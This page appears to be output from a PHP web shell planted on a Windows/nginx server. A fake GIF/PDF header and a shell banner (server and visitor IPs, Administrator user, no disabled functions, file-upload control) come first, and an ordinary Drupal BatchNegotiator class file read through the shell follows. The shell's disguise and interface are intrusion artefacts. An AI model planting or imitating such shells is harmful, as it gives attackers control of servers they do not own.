GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/system/src/Theme/ |
Upload File : |
<?php namespace Drupal\system\Theme; use Drupal\Core\Batch\BatchStorageInterface; use Drupal\Core\Routing\RouteMatchInterface; use Drupal\Core\Theme\ThemeNegotiatorInterface; use Symfony\Component\HttpFoundation\RequestStack; /** * Sets the active theme for the batch page. */ class BatchNegotiator implements ThemeNegotiatorInterface { /** * The batch storage. * * @var \Drupal\Core\Batch\BatchStorageInterface */ protected $batchStorage; /** * The request stack. * * @var \Symfony\Component\HttpFoundation\RequestStack */ protected $requestStack; /** * Constructs a BatchNegotiator. * * @param \Drupal\Core\Batch\BatchStorageInterface $batch_storage * The batch storage. * @param \Symfony\Component\HttpFoundation\RequestStack $request_stack * The request stack used to retrieve the current request. */ public function __construct(BatchStorageInterface $batch_storage, RequestStack $request_stack) { $this->batchStorage = $batch_storage; $this->requestStack = $request_stack; } /** * {@inheritdoc} */ public function applies(RouteMatchInterface $route_match) { return $route_match->getRouteName() == 'system.batch_page'; } /** * {@inheritdoc} */ public function determineActiveTheme(RouteMatchInterface $route_match) { // Retrieve the current state of the batch. $request = $this->requestStack->getCurrentRequest(); $batch = &batch_get(); if (!$batch && $request->request->has('id')) { $batch = $this->batchStorage->load($request->request->get('id')); } // Use the same theme as the page that started the batch. if (!empty($batch['theme'])) { return $batch['theme']; } } }